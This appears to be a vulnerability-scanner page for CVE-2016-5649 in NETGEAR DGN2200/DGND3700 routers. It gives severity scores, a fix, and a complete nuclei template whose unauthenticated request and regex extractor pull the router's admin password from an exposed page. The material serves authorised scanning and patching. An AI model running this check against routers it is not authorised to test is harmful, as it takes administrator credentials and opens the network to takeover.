NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure

criticalseverity

9.8CVSS score

23.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

NETGEAR DGN2200 / DGND3700 is susceptible to a vulnerability within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. The attacker can then use this password to gain administrator access of the targeted router's web interface.

Impact

An attacker can obtain the admin password and gain unauthorized access to the router's settings, potentially leading to further compromise of the network.

Fix

Update the router firmware to the latest version, which includes a fix for the vulnerability.

How to confirm it

Send: GET /BSW_cxttongr.htm
Positive when: contains "<title>Smart Wizard Result</title>" AND status 200

Run it with nuclei: nuclei -id CVE-2016-5649 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-5649

info:
  name: NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure
  author: suman_kar
  severity: critical
  description: NETGEAR DGN2200 / DGND3700 is susceptible to a vulnerability within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. The attacker can then use this password to gain administrator access of the targeted router's web interface.
  impact: |
    An attacker can obtain the admin password and gain unauthorized access to the router's settings, potentially leading to further compromise of the network.
  remediation: |
    Update the router firmware to the latest version, which includes a fix for the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2016-5649
    - https://packetstormsecurity.com/files/140342/Netgear-DGN2200-DGND3700-WNDR4500-Information-Disclosure.html
    - http://packetstormsecurity.com/files/152675/Netgear-DGN2200-DGND3700-Admin-Password-Disclosure.html
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-5649
    cwe-id: CWE-319,CWE-200
    epss-score: 0.23582
    epss-percentile: 0.97822
    cpe: cpe:2.3:o:netgear:dgn2200_firmware:1.0.0.50_7.0.50:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: dgn2200_firmware
  tags: cve2016,cve,iot,netgear,router,packetstorm,vuln

http:
  - raw:
      - |
        GET /BSW_cxttongr.htm HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Smart Wizard Result</title> "

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: password
        group: 1
        regex:
          - '<b>Success "([a-z]+)"'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from